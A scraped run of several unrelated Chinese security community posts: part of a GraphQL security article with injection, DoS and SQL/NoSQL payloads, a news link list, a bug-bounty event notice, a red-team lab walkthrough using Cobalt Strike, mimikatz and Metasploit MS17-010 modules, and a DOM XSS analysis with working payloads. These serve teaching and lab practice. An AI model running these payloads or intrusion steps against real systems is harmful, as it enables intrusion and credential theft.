curl -X POST http://localhost:4000/login -H 'cache-control: no-cache' -H 'content-type: application/x-www-form-urlencoded' -d 'username=user1&password=123456'
{"message":"登录成功","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7Il9pZCI6IjViNWU1NDcwN2YyZGIzMDI0YWJmOTY1NiIsInVzZXJuYW1lIjoidXNlcjEiLCJwYXNzd29yZCI6IiQyYSQwNSRqekROOGFQbEloRzJlT1A1ZW9JcVFPRzg1MWdBbWY0NG5iaXJaM0Y4NUdLZ3pVL3lVNmNFYSJ9LCJleHAiOjE1MzI5MTIyOTEsImlhdCI6MTUzMjkwODY5MX0.Uhd_EkKUEDkI9cdnYlOC7wSYZdYLQLFCb01WhSBeTpY"}
以GraphiQL _（GraphQL开发者调试工具，大部分GraphQL引擎自带，默认开启）_ 代替前端请求GraphQL接口，要先设置认证请求头：
### **在GraphQL内认证**
如果GraphQL后端只能支持GraphQL不能支持RESTful，或者全部请求都需要使用GraphQL，也可以用GraphQL构造login接口提供Token。
如下面例子，构造login的Query Schema, 由返回值中携带Token：
type Query {
login(
username: String!
password: String!
): LoginMsg
}
type LoginMsg {
message: String
token: String
}
在Resolver中提供登录逻辑：
import bcrypt from 'bcryptjs';
import jsonwebtoken from 'jsonwebtoken';
export const login = async (_, args, context) => {
const db = await context.getDb();
const { username, password } = args;
const user = await db.collection('User').findOne({ username: username });
if (await bcrypt.compare(password, user.password)) {
return {
message: 'Login success',
token: jsonwebtoken.sign({
user: user,
exp: Math.floor(Date.now() / 1000) + (60 * 60), // 60 seconds * 60 minutes = 1 hour
}, 'your secret'),
};
}
}
登录成功后，我们继续把Token设置在请求头中，请求GraphQL的其他接口。这时我们要对ApolloServer进行如下配置：
const server = new ApolloServer({
typeDefs: schemaText,
resolvers: resolverMap,
context: ({ ctx }) => {
const token = ctx.req.headers.authorization || '';
const user = getUser(token);
return {
...user,
...ctx,
...app.context
};
},
});
实现`getUser`函数：
const getUser = (token) => {
let user = null;
const parts = token.split(' ');
if (parts.length === 2) {
const scheme = parts[0];
const credentials = parts[1];
if (/^Bearer$/i.test(scheme)) {
token = credentials;
try {
user = jwt.verify(token, JWT_SECRET);
console.log(user);
} catch (e) {
console.log(e);
}
}
}
return user
}
配置好ApolloServer后，在Resolver中校验`user`：
import { ApolloError, ForbiddenError, AuthenticationError } from 'apollo-server';
export const blogs = async (_, args, context) => {
const db = await context.getDb();
const user = context.user;
if(!user) {
throw new AuthenticationError("You must be logged in to see blogs");
}
const { blogId } = args;
const cursor = {};
if (blogId) {
cursor['_id'] = blogId;
}
const blogs = await db
.collection('blogs')
.find(cursor)
.sort({ publishedAt: -1 })
.toArray();
return blogs;
}
这样我们即完成了通过GraphQL认证的主要代码。继续使用GraphiQL代替前端请求GraphQL登录接口：
得到Token后，设置Token到请求头 完成后续操作。如果请求头失效，则得不到数据：
### **权限控制**
在认证过程中，我们只是识别请求是不是由合法用户发起。权限控制可以让我们为用户分配不同的查看权限和操作权限。如上，我们已经将`user`放入GraphQL
Sever的`context`中。而`context`的内容又是我们可控的，因此`context`中的`user`既可以是`{ loggedIn: true
}`，又可以是`{ user: { _id: 12345, roles: ['user', 'admin'] }
}`。大家应该知道如何在Resolver中实现权限控制了吧，简单的举个例子：
users: (root, args, context) => {
if (!context.user || !context.user.roles.includes('admin'))
throw ForbiddenError("You must be an administrator to see all Users");
return User.getAll();
}
## GraphQL注入
> [@gyyyy](https://github.com/gyyyy "@gyyyy")：
> 有语法就会有解析，有解析就会有结构和顺序，有结构和顺序就会有注入。
前端使用变量构建带参查询语句：
const id = props.match.params.id;
const queryUser = gql`{
user(_id: ${id}) {
_id
username
email
}
}`
`name`的值会在发出GraphQL查询请求前就被拼接进完整的GraphQL语句中。攻击者对`name`注入恶意语句：
-1)%7B_id%7Dhack%3Auser(username%3A"admin")%7Bpassword%23
可能GraphQL语句的结构就被改变了：
{
user(_id: -1) {
_id
}
hack: user(username: "admin") {
password #) {
_id
username
email
}
}
因此，带参查询一定要保证在后端GraphQL引擎解析时，原语句结构不变，参数值以变量的形式被传入，由解析器实时赋值解析。
> @图南：
> 幸运的是，GraphQL同时提供了『参数』和『变量』给我们使用。我们可以将参数值的拼接过程转交给后端GraphQL引擎，前端就像进行参数化查询一样。
例如，我们定义一个带变量的Query：
type Query {
user(
username: String!
): User
}
请求时传入变量：
query GetUser($name: String!) {
user(username: $name) {
_id
username
email
}
}
// 变量
{"name": "some username"}
## 拒绝服务
> [@gyyyy](https://github.com/gyyyy "@gyyyy")：
> 做过代码调试的同学可能会注意过，在观察的变量中存在相互关联的对象时，可以对它们进行无限展开 _（比如一些Web框架的Request-> Response对）_
> 。如果这个关联关系不是引用而是值，就有可能出现OOM等问题导致运算性能下降甚至应用运行中断。同理，在一些动态求值的逻辑中也会存在这类问题，比如XXE的拒绝服务。
GraphQL中也允许对象间包含组合的嵌套关系存在，如果不对嵌套深度进行限制，就会被攻击者利用进行拒绝服务攻击。
> @图南：
> 在开发中，我们可能经常会遇到这样的需求：
>
> 1. 查询所有文章，返回内容中包含作者信息
> 2. 查询作者信息，返回内容中包含此作者写的所有文章
>
>
> 当然，在我们开发的前端中这两个接口一定是单独使用的，但攻击者可以利用这它们的包含关系进行嵌套查询。
如下面例子，我们定义了`Blog`和`Author`：
type Blog {
_id: String!
type: BlogType
avatar: String
title: String
content: [String]
author: Author
# ...
}
type Author {
_id: String!
name: String
blog: [Blog]
}
构建各自的Query：
extend type Query {
blogs(
blogId: ID
systemType: String!
): [Blog]
}
extend type Query {
author(
_id: String!
): Author
}
我们可以构造如下的查询，此查询可无限循环下去，就有可能造成拒绝服务攻击：
query GetBlogs($blogId: ID, $systemType: String!) {
blogs(blogId: $blogId, systemType: $systemType) {
_id
title
type
content
author {
name
blog {
author {
name
blog {
author {
name
blog {
author {
name
blog {
author {
name
blog {
author {
name
blog {
author {
name
blog {
author {
name
# and so on...
}
}
}
}
}
}
}
}
}
}
}
}
}
title
createdAt
publishedAt
}
}
publishedAt
}
}
避免此问题我们需要在GraphQL服务器上限制查询深度，同时在设计GraphQL接口时应尽量避免出现此类问题。仍然以Node.js为例，[graphql-depth-limit](https://github.com/stems/graphql-depth-limit)就可以解决这样的问题。
// ...
import depthLimit from 'graphql-depth-limit';
// ...
const server = new ApolloServer({
typeDefs: schemaText,
resolvers: resolverMap,
context: ({ ctx }) => {
const token = ctx.req.headers.authorization || '';
const user = getUser(token);
console.log('user',user)
return {
...user,
...ctx,
...app.context
};
},
validationRules: [ depthLimit(10) ]
});
// ...
添加限制后，请求深度过大时会看到如下报错信息：
## 它只是个接口
> [@gyyyy](https://github.com/gyyyy "@gyyyy")：
> 作为Web API的一员，GraphQL和RESTful
> API一样，有可能被攻击者通过对参数注入恶意数据影响到后端应用，产生XSS、SQL注入、RCE等安全问题。此外，上文也提到了很多GraphQL的特性，一些特殊场景下，这些特性会被攻击者利用来优化攻击流程甚至增强攻击效果。比如之前说的内省机制和默认开启的GraphiQL调试工具等，还有它同时支持GET和POST两种请求方法，对于CSRF这些漏洞的利用会提供更多的便利。
当然，有些特性也提供了部分保护能力，不过只是『部分』而已。
> @图南：
> GraphQL的类型系统对注入是一层天然屏障，但是如果开发者的处理方式不正确，仍然会有例外。
比如下面的例子，参数类型是字符串：
query GetAllUsers($filter: String!) {
users(filter: $filter) {
_id
username
email
}
}
假如后端没有对`filter`的值进行任何安全性校验，直接查询数据库，传入一段SQL语句字符串，可能构成SQL注入：
{"filter": "' or ''='"}
或者JSON字符串构成NoSQL注入：
{"filter": "{"$ne": null}"}
## 结语
GraphQL真的只是一个API技术，它为API连接的前后端提供了一种新的便捷处理方案。无论如何，该做鉴权的就鉴权，该校验数据的还是一定得校验。
而且各GraphQL引擎在编程语言特性、实现方式等因素的影响下，都一定会有细微的差异。除了文章里提到的这些内容，还可以对每个引擎内部的执行流程、语法解析、校验和数据编解码等环节进行审计，发掘更多有意思的内容。
不过我们的文章就先到这了，感谢阅读！
### 参考
1. [GraphQL Learn](https://graphql.org/learn/)
2. [GraphQL Fundamentals – Security](https://www.howtographql.com/advanced/4-security/)
3. [GraphQL – Security Overview and Testing Tips](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)
4. [A guide to authentication in GraphQL](https://blog.apollographql.com/a-guide-to-authentication-in-graphql-e002a4039d1)
5. [Apollo Developer Guides – Security](https://www.apollographql.com/docs/guides/security.html)
6. [Apollo Developer Guides – Access control](https://www.apollographql.com/docs/guides/access-control.html)
7. [GraphQL NoSQL Injection Through JSON Types](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/) | 社区文章 |
# 【知识】11月21日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：永无终日的恶意软件——银行木马卷土重回Play Store、 ** ** ** **针对Wordpress的wp-vcd新攻击出现******** 、世界知名网站中超过400个在记录你全部的键击过程、CVE-2017-16544 Busybox自动完成漏洞、 **
**CVE-2017-11882 POC** 、 **Intel安全补丁更新、 **TLS重定向攻击、针对新的IoT DDoS恶意软件的分析******
。**
**资讯类：**
永无终日的恶意软件——银行木马卷土重回Play Store
<https://thehackernews.com/2017/11/bankbot-android-malware.html>
针对Wordpress的wp-vcd新攻击出现
<http://securityaffairs.co/wordpress/65800/malware/wordpress-wp-vcd-malware.html>
世界知名网站中超过400个在记录你全部的键击过程
<https://motherboard.vice.com/en_us/article/59yexk/princeton-study-session-replay-scripts-tracking-you>
TP-Link部分欧洲产品没有及时针对KRACK更新固件
<https://www.ctrl.blog/entry/tplink-firmware-outdated-downloads>
**技术类：**
利用递归攻击未初始化变量
<https://signal11.io/index.php/2017/11/19/attacking-uninitialized-variables-with-recursion/>
Win下载Payload并执行代码的各种技巧
<https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/>
内核安全之双内核与内核分离
<http://static.securegoose.org/papers/ccs14.pdf>
HXP CTF Don’t Panic Writeup
<http://eternal.red/2017/dont_panic-writeup/>
SCF文件与哈希收集
<https://1337red.wordpress.com/using-a-scf-file-to-gather-hashes/>
不可检测的后门PE文件设计
<https://haiderm.com/fully-undetectable-backdooring-pe-files/>
基于DNS通道的Shell
<https://github.com/sensepost/DNS-Shell>
CVE-2017-11882 POC
<https://github.com/embedi/CVE-2017-11882>
PowerView的强力功能 part4
<https://posts.specterops.io/the-powerview-powerusage-series-4-e8d408c15c95>
Meterpreter getsystem详析
<https://blog.xpnsec.com/becoming-system/>
CiSetFileCache TOCTOU安全特性绕过
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1332>
Intel安全补丁更新
[https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00086&languageid=en-fr](https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00086&languageid=en-fr)
披着狼皮的羊——惠普打印机RCE分析
<https://foxglovesecurity.com/2017/11/20/a-sheep-in-wolfs-clothing-finding-rce-in-hps-printer-fleet/>
Kaixin利用工具套件分析
<http://www.nao-sec.org/2017/11/analyzing-kaixin-exploit-kit.html>
命令与控制——WMI
<https://pentestlab.blog/2017/11/20/command-and-control-wmi/>
TLS重定向攻击
<https://github.com/GrrrDog/TLS-Redirection>
Play Store上重现的银行木马技术分析
<https://blog.avast.com/mobile-banking-trojan-sneaks-into-google-play-targeting-wells-fargo-chase-and-citibank-customers>
针对新的IoT DDoS恶意软件的分析
<https://lloydlabs.github.io/post/aes-ddos-analysis-part-1/>
SSL安全加固之Pin与Staple
<https://depthsecurity.com/blog/pins-and-staples-enhanced-ssl-security>
CVE-2017-16544 Busybox自动完成漏洞
<https://www.twistlock.com/2017/11/20/cve-2017-16544-busybox-autocompletion-vulnerability/> | 社区文章 |
### 2017-10-18 本次现场众测活动圆满结束，共有30名左右白帽子参加！
### 活动期间，白帽子们都在认认真真的测试，很注重测试细节，也取得了不错的结果。
### 感谢大家，奖金这几天就会发出。
* * *
### 2017-10-17
#### 一血漏洞 额外奖金 2000 已在早上10：02分被 黑色键盘拿走，恭喜！
#### 核心高危一血漏洞在 15:16 分钟，额外奖金5000 被 Gmt 拿走，恭喜！
* * *
##### 测试时间： 11.17-11.18（和大会时间同步 9:30-17:00）
##### 众测场地： 先知创新大会—北京粤财JW万豪酒店(现场有网络)
##### 测试范围： 测试当天公布
##### 漏洞奖励：
业务等级 | 严重漏洞 | 高危漏洞 | 中危漏洞 | 低危漏洞
---|---|---|---|---
核心业务 | 18000~20000(元) | 10000~16000(元) | 1000~2000(元) | 200~400(元)
一般业务 | 9000~10000(元) | 5000~8000(元) | 500~1000(元) | 100~200(元)
边缘业务 | 1800~2000(元) | 1000~1600(元) | 100~200(元) | 20~40(元)
##### 现场额外奖励：
* 阳光普照500/人——（连续测试时间>14个小时，并反馈测试了哪些业务和接口）
* 一血提交 2000现金额外奖励
##### 核心业务：
* 严重一血 10000现金额外奖励
* 高危一血 5000现金额外奖励
##### 一般业务：
* 严重一血 3000现金额外奖励
### 测试人员需要注意的地方：
1. 白帽子签署授权测试协议。
2. 白帽子必带东西——笔记本，手机（测试APP用）。
3. 有问题，随时在场联系工作人员。
##### 备注: 白帽子也可以远程参与测试，奖金范围还是按照奖励标准。只是没现场额外奖励。
### 现场测试人员能力要求：
1.web和app漏洞挖掘很精通
2.各大src排行榜top优先
3.参与过大量众测项目的优先
4.有很强的逻辑漏洞挖掘能力优先
5.长得帅的优先
有问题可联系我， 群：237788572， 我QQ: 342070435 | 社区文章 |
# 文章简介
这篇文章使用红日渗透靶场（一）来进行练习对内网不出网机器的渗透，在这里感谢师傅们提供了现成的靶场环境，供我们小白来进行学习和练习。这个靶场设计的比较简单，但是通过这个靶场环境，采用多种手段进行渗透，可以使自己在没有那么多授权的真实环境条件下，通过靶场提高自己的技术。
## 配置网络
在VM虚拟机中按照下边的网络拓扑进行配置网络。网络拓扑图如下：
win7具有双网卡，其中外网ip是192.168.8.133，内网网段是52。三台机器彼此互通，但是win server
2008和win2003不通外网。用我mac作为攻击机，来对这个靶场环境进行渗透测试。
## 外网打点
在win7这台靶机上，使用PHPStudy让网站可以运行起来。在攻击机上，访问 <http://192.168.8.133> 可以看到是一个phpStudy
探针。对这网站进行渗透，因为本文主要写在内网渗透过程中对不出网主机的渗透，所以此处外网打点就不写的很详细了。
针对此靶场进行外网渗透拿权限大致有这几种方法：
1. 通过phpmyadmin弱口令，进入phpmyadmin后台。然后知识点就变成了，通过phpmyadmin进行getshell，这个点又分为，得到网站绝对路径后，使用select into outfile的方式写shell和利用日志写shell。在此处，我是使用日志写shell的方法拿到权限。因为secure_file_priv配置为null，禁止修改目录下的文件，也就不能使用into outfile的方式写入shell。
2. 通过目录扫描可以扫出beifen.rar，备份文件。在源码中可以找到登陆后台的账号密码：admin/123456和登陆路径/index.php?r=admin，在前台模板文件中添加一句话木马连接也可获取shell。
## 获得webshell的信息收集
通过外网打点获得的webshell，可以进行一波信息收集，摸清我是谁？我在哪？有没有内网环境？有没有杀软？通过拿到webshell后的信息收集的结果来评估一下有没有必要继续深入或者初步了解继续深入的话需要哪些手段。
### 我是谁？
蚁剑已经给出基础信息
### 我在哪？
使用ipconfig /all 看一下网络信息
目标有两个网卡，并且存在域环境，那么就有打它内网的必要了。
### 有没有杀软?
tasklist查看一下进程信息
根据进程查一下是否有杀软
目标没有使用杀软，还有域环境那么让它直接cs上线。
## 内网渗透
### cs上线
### 内网信息收集
信息收集每个人都有自己的习惯，信息收集的顺序和信息收集的项目也都不太一样，只要根据自己的习惯和嗅觉，针对目标具体情况进行收集，以求尽快的拿下目标就好。信息收集的越全面突破口也就会越多，考虑到篇幅和文章内容匹配度等因素，此处并没有写出大量信息收集方法。
1. 使用cs自带的net view查看域信息。
使用cs自带功能进行端口扫描，分别对8和52两个网段进行扫描进行完这两个步骤以后，cs会把扫到的目标列出来。
1. 因为拿到的是管理员权限，可以先抓一波密码。用 cs 的 hashdump 读内存密码，用 mimikatz 读注册表密码：logonpasswords。
此处打码的地方是因为配置靶机登陆时靶机提示重置密码，我给靶机改了个包含个人信息的密码。蠢哭。拿到密码后，目标主机没有开启防火墙，可以使用cs自带的psexec做一波横向，因为抓到很多域中机器密码，域控密码也抓到了。
### 内网横向（通过登录凭证）
这个靶机设置的比较简单，抓到密码后，因为抓到了域控登陆的凭证，那么使用psexec即可横向内网所有机器。因为，另外两台内网的机器不出网，那么就到了本文着重练习的点了，打不出网的机器。
不出网机器上线一般有以下几种方式：
* 使用smb beacon
* 配置listener通过HTTP代理上线
* 使用pystinger搭建socks4代理
这几种方式之前有师傅也在先知写过[《不出网主机上线方法》](https://xz.aliyun.com/t/8671)。此处我采用的SMB
beacon这个方法。
SMB
Beacon使用命名管道通过父级Beacon进行通讯，当两个Beacons链接后，子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信，此流量封装在SMB协议中，所以SMB
beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
首先得到内网中一台主机的beacon，抓取密码后进行smb喷射，得到另一台开放445端口的机器上的administrator账户密码，在目标机器不出网的情况下，可以使用Smb
beacon使目标主机上线
**使用条件**
* 具有 SMB Beacon 的主机必须接受 445 端口上的连接。
* 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
* 利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
**使用方法：**
1.建立smb的listener
2.在cs中使用psexec进行横向移动，选择现有的beacon作为跳板，这里凭据必须是administrator ，即拥有目标主机管理员权限
3.连接成功，可以看到smb beacon上线的主机右侧有∞∞标识
使用这种方法上线的机器，主要是通过出网机作为一个中间人，不出网主机成功上线后，如果出网机一断开，这个不出网主机也会断。
### 内网横向（通过ms-17010）
在拿下win7的时候，可以给它传一个fscan，给win7做一个内网大保健。上传fscan后，运行扫一下内网。
发现存在ms17010。
ms17010常见的几种打法：
* msf
* ladon/ladon_ms17010
* 从msf分离出的exe
* nessus里的exe
* cs插件
这几种打法，我在这个环境中都做过尝试。过程就不一一叙述了，直接说我测试的结果。msf是最稳定的，但是打起来有稍许的麻烦因为要设置监听模块和选择攻击模块等配置。ladon_ms17010方便但是不太稳有时候会打不成功。cs插件也不稳，并且在这种不出网网络不稳定的情况下成功率会变的更低。
这个图片的ip可能跟上边配置符不起来，因为我在测试过程中，网断过几次，ip就变了。所以，在打的时候，如果ladon和分离出的exe没有打成，不要轻易放弃，用msf在打打试试，毕竟工具就是工具，不能过分依赖某个工具。
在这种不出网的情况下，可以优先考虑使用从msf分离出的exe和ladon_ms17010来打，打成功会直接通过自定义的dll新建一个用户并加入管理员组，开启3389端口。根据实际情况，可考虑在合适的时间段和条件下直接远程登入，翻一下敏感数据，往往会因为运维人员的很多“好习惯”而给渗透带来很多便利，比如说“密码本.txt”。
#### msf打不出网机器的ms17010
msf在单兵作战的时候还是很稳定很香的。首先，让出网机器先在msf上线，可以用cs直接传递会话，或者生成个msf马直接运行一下。在这的方法就很多了。win7在msf上线后，因为我们已经提前知道了，存在52这个不出网的段，那么就需要在msf中添加路由。
1. 查看路由
`run get_local_subnets`
2. 添加路由
`run autoroute -s 192.168.52.0/24`
3. 查看添加的路由
`run autoroute -p`
4. 把shell切换到后台，然后使用ms17010模块进行漏洞利用，监听时使用正向监听，即可
**小贴士：**
漏洞检测方法：
`use auxiliary/scanner/smb/smb_ms17_010`
之后设置一下目标ip和线程即可，这里因为已经扫出存在漏洞的机器了，也就不在叙述。
漏洞利用常使用的是：
auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms17_010_psexec
这里的第一个和第三个模块需要目标开启命名管道，并且比较稳定。第二个模块只要存在漏洞即可，但是会有概率把目标打蓝屏，而且杀软拦截也会比较严格，如果有杀软就基本可以放弃这个模块了。
在打ms17010的时候，不妨使用`auxiliary/admin/smb/ms17_010_command`模块探测一下是否可以使用命名管道。
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.164.156 192.168.164.161
set command tasklist
show options
run
如果命令执行成功的话就可以优先考虑
auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_psexec
这两个模块进行利用。
我在上边打得时候因为目标机器没有杀软就直接使用`exploit/windows/smb/ms17_010_eternalblue`来打了，期间为了测试打过多次，确实出现了把目标机器打重启的情况。
## 总结
这个靶场设计的技能点比较基础，外网打点获得shell后，直接可以通过cs上线，在管理员权限下，抓取密码，新建一个smb
beacon然后使用psexec对内网两台不出网的机器进行横向。
借着这个靶场环境，对靶场预设漏洞使用多个手段进行尝试，并在这里做个总结，包括phpmyadmin拿shell的几种方法，内网不出网机器如何上线，使用多种方法打内网中不出网的ms17010以及在打ms17010时所要注意的细节。 | 社区文章 |
# 探索DOM XSS一个trick的原理
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前段时间P牛在他的星球发了一个XSS的小挑战（关于挑战的更多细节和解法见P牛的[博客](https://www.leavesongs.com)或者星球），我用的是DOM
clobbering的方式完成。事后P牛给出了另一个trick，我看不懂但大受震撼，所以本文就来探讨一下这个trick的原理。
以下测试的步骤都是Win10 & Chrome 最新版(92.0.4515.131) 下进行的；作者水平有限，如有错漏，还请各位师傅指正。
## 挑战
小挑战的代码如下
<script>
const data = decodeURIComponent(location.hash.substr(1));;
const root = document.createElement('div');
root.innerHTML = data;
// 这里模拟了XSS过滤的过程，方法是移除所有属性，sanitizer
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
可以看到这是个明显的DOM XSS，用户的输入会构成一个新div元素的子结点，但在插入body之前会被移除所有的属性。
## 解法
这里有两种解法，一种是绕过过滤的代码，另一种则是在过滤前就执行的代码
### 失败解法
有一些常见的payload在这个挑战里是无法成功，例如`<img src=x
onerror=alert(1)>`，原因也很明显，`onerror`在触发前被过滤掉了。
### 绕过过滤
绕过过滤主要是为了使得Payload里面的属性不被清除，最终触发事件执行JS。具体做法正是DOM
clobbering，但不是本文重点就不展开了，感兴趣的师傅可以看下Zedd师傅的[文章](https://blog.zeddyu.info/2020/03/04/Dom-Clobbering/)，P牛的[文章](https://www.leavesongs.com/PENETRATION/a-tour-of-tui-editor-xss.html)也有其他Payload，这里给出一个我的解法以供参考：
<form tabindex=1 onfocus="alert(1);this.removeAttribute('onfocus');" autofocus=true> <img id=attributes><img id=attributes name=z></form>
### 过滤前执行代码
另一种正确解法就是`<svg><svg
onload=alert(1)>`。看起来平平无奇，但是它可以在过滤代码执行以前，提前执行恶意代码。那为什么这个payload可以，上面img标签的payload却不能执行代码？而且如果只有单独一个svg标签也是不能正常执行的，像是`<svg
onload=alert(1)>`。为更好地理解这个问题，需要稍微了解一下浏览器的渲染过程。
## DOM树的构建
我们知道JS是通过DOM接口来操作文档的，而HTML文档也是用DOM树来表示。所以在浏览器的渲染过程中，我们最关注的就是DOM树是如何构建的。
解析一份文档时，先由标记生成器做词法分析，将读入的字符转化为不同类型的Token，然后将Token传递给树构造器处理；接着标识识别器继续接收字符转换为Token，如此循环。实际上对于很多其他语言，词法分析全部完成后才会进行语法分析（树构造器完成的内容），但由于HTML的特殊性，树构造器工作的时候有可能会修改文档的内容，因此这个过程需要循环处理。
（图源参考链接3）
在树构建过程中，遇到不同的Token有不同的处理方式。具体的判断是在`HTMLTreeBuilder::ProcessToken(AtomicHTMLToken*
token)`中进行的。`AtomicHTMLToken`是代表Token的数据结构，包含了确定Token类型的字段，确定Token名字的字段等等。Token类型共有7种，`kStartTag`代表开标签，`kEndTag`代表闭标签，`kCharacter`代表标签内的文本。所以一个`<script>alert(1)</script>`会被解析成3个不同种类的Token，分别是`kStartTag`、`kCharacter`和`kEndTag`。在处理Token的过程中，还有一个`InsertionMode`的概念，用于判断和辅助处理一些异常情况。
在处理Token的时候，还会用到`HTMLElementStack`，一个栈的结构。当解析器遇到开标签时，会创建相应元素并附加到其父节点，然后将token和元素构成的Item压入该栈。遇到一个闭标签的时候，就会一直弹出栈直到遇到对应元素构成的item为止，这也是一个处理文档异常的办法。比如`<div><p>1</div>`会被浏览器正确识别成`<div><p>1</p></div>`正是借助了栈的能力。
而当处理script的闭标签时，除了弹出相应item，还会暂停当前的DOM树构建，进入JS的执行环境。换句话说，在文档中的script标签会阻塞DOM的构造。JS环境里对DOM操作又会导致回流，为DOM树构造造成额外影响。
## svg标签
了解完上述内容后，回过头来看是什么导致了svg的成功，img的失败。
### img失败原因
先来找一下失败案例的原因，看看是在哪里触发了img payload中的事件代码。将过滤的代码注释以后，注入payload并打断点调试一下。
可以发现即使代码已经执行到最后一步，但在没有退出JS环境以前依然还没有弹窗。
此时再点击单步调试就会来到我们的代码的执行环境了。此外，这里还有一个细节就是`appendChild`被注释并不影响代码的执行，证明即使img元素没有被添加到DOM树也不影响相关资源的加载和事件的触发。
那么很明显，`alert(1)`是在页面上script标签中的代码全部执行完毕以后才被调用的。这里涉及到浏览器渲染的另外一部分内容：
**在DOM树构建完成以后，就会触发`DOMContentLoaded`事件，接着加载脚本、图片等外部文件，全部加载完成之后触发`load`事件**。
同时，上文已经提到了，页面的JS执行是会阻塞DOM树构建的。所以总的来说，在script标签内的JS执行完毕以后，DOM树才会构建完成，接着才会加载图片，然后发现加载内容出错才会触发`error`事件。
可以在页面上添加以下代码来测试这一点。
window.addEventListener("DOMContentLoaded", (event) => {
console.log('DOMContentLoaded')
});
window.addEventListener("load", (event) => {
console.log('load')
});
测试结果：
那么失败的原因也很明显了，在DOM树构建以前，img的属性已经被sanitizer清除了，自然也不可能执行事件代码了。
### svg成功原因
继续用断点调试svg payload为何成功。
在`root.innerHtml = data`断下来后，点击单步调试。
神奇的事情发生了，直接弹出了窗口，点击确定以后，调试器才会走到下一行代码。而且，这个地方如果只有一个`<svg
onload=alert(1)>`，那么结果将同img一样，直到script标签结束以后才能执行相关的代码，这样的代码放到挑战里也将失败（测试单个svg时要注意，不能像img一样注释掉`appendChild`那一行）。那为什么多了一个svg套嵌就可以提前执行呢？带着这个疑问，我们来看一下浏览器是怎么处理的。
**触发流程**
上文提到了一个叫`HTMLElementStack`的结构用来帮助构建DOM树，它有多个出栈函数。其中，除了`PopAll`以外，大部分出栈函数最终会调用到`PopCommon`函数。这两个函数代码如下：
void HTMLElementStack::PopAll() {
root_node_ = nullptr;
head_element_ = nullptr;
body_element_ = nullptr;
stack_depth_ = 0;
while (top_) {
Node& node = *TopNode();
auto* element = DynamicTo<Element>(node);
if (element) {
element->FinishParsingChildren();
if (auto* select = DynamicTo<HTMLSelectElement>(node))
select->SetBlocksFormSubmission(true);
}
top_ = top_->ReleaseNext();
}
}
void HTMLElementStack::PopCommon() {
DCHECK(!TopStackItem()->HasTagName(html_names::kHTMLTag));
DCHECK(!TopStackItem()->HasTagName(html_names::kHeadTag) || !head_element_);
DCHECK(!TopStackItem()->HasTagName(html_names::kBodyTag) || !body_element_);
Top()->FinishParsingChildren();
top_ = top_->ReleaseNext();
stack_depth_--;
}
当我们没有正确闭合标签的时候，如`<svg><svg>`，就可能调用到`PopAll`来清理；而正确闭合的标签就可能调用到其他出栈函数并调用到`PopCommon`。这两个函数有一个共同点，都会调用栈中元素的`FinishParsingChildren`函数。这个函数用于处理子节点解析完毕以后的工作。因此，我们可以查看svg标签对应的元素类的这个函数。
void SVGSVGElement::FinishParsingChildren() {
SVGGraphicsElement::FinishParsingChildren();
// The outermost SVGSVGElement SVGLoad event is fired through
// LocalDOMWindow::dispatchWindowLoadEvent.
if (IsOutermostSVGSVGElement())
return;
// finishParsingChildren() is called when the close tag is reached for an
// element (e.g. </svg>) we send SVGLoad events here if we can, otherwise
// they'll be sent when any required loads finish
SendSVGLoadEventIfPossible();
}
这里有一个非常明显的判断`IsOutermostSVGSVGElement`，如果是最外层的svg则直接返回。注释也告诉我们了，最外层svg的`load`事件由`LocalDOMWindow::dispatchWindowLoadEvent`触发；而其他svg的`load`事件则在达到结束标记的时候触发。所以我们跟进`SendSVGLoadEventIfPossible`进一步查看。
bool SVGElement::SendSVGLoadEventIfPossible() {
if (!HaveLoadedRequiredResources())
return false;
if ((IsStructurallyExternal() || IsA<SVGSVGElement>(*this)) &&
HasLoadListener(this))
DispatchEvent(*Event::Create(event_type_names::kLoad));
return true;
}
这个函数是继承自父类`SVGElement`的，可以看到代码中的`DispatchEvent(*Event::Create(event_type_names::kLoad));`确实触发了load事件，而前面的判断只要满足是svg元素以及对`load`事件编写了相关代码即可，也就是说在这里执行了我们写的`onload=alert(1)`的代码。
**实验**
我们可以将过滤的代码注释，并添加相关代码来验证这个事件的触发时间。
window.addEventListener("DOMContentLoaded", (event) => {
console.log('DOMContentLoaded')
});
window.addEventListener("load", (event) => {
console.log('load')
});
同时，我们将注入代码也再套嵌一层`<svg onload=console.log("svg0")><svg
onload=console.log("svg1")><svg onload=console.log("svg2")>`
可以看到结果不出所料，最内层的svg先触发，然后再到下一层，而且是在DOM树构建完成以前就触发了相关事件；最外层的svg则得等到DOM树构建完成才能触发。
### 小结
img和其他payload的失败原因在于sanitizer执行的时间早于事件代码的执行时间，sanitizer将恶意代码清除了。
套嵌的svg之所以成功，是因为当页面为`root.innerHtml`赋值的时候浏览器进入DOM树构建过程；在这个过程中
**会触发非最外层svg标签的`load`事件，最终成功执行代码**。所以，sanitizer执行的时间点在这之后，无法影响我们的payload。
## details标签
在P牛的文章里还简单提到了一个跟svg标签类似的，可以在Tui Editor里使用的payload，也就是`<details open
ontoggle=alert(1)>`；但我用小挑战的代码进行测试的时候却发现并不可行。所以，这里也值得探讨一下。
### 事件触发流程
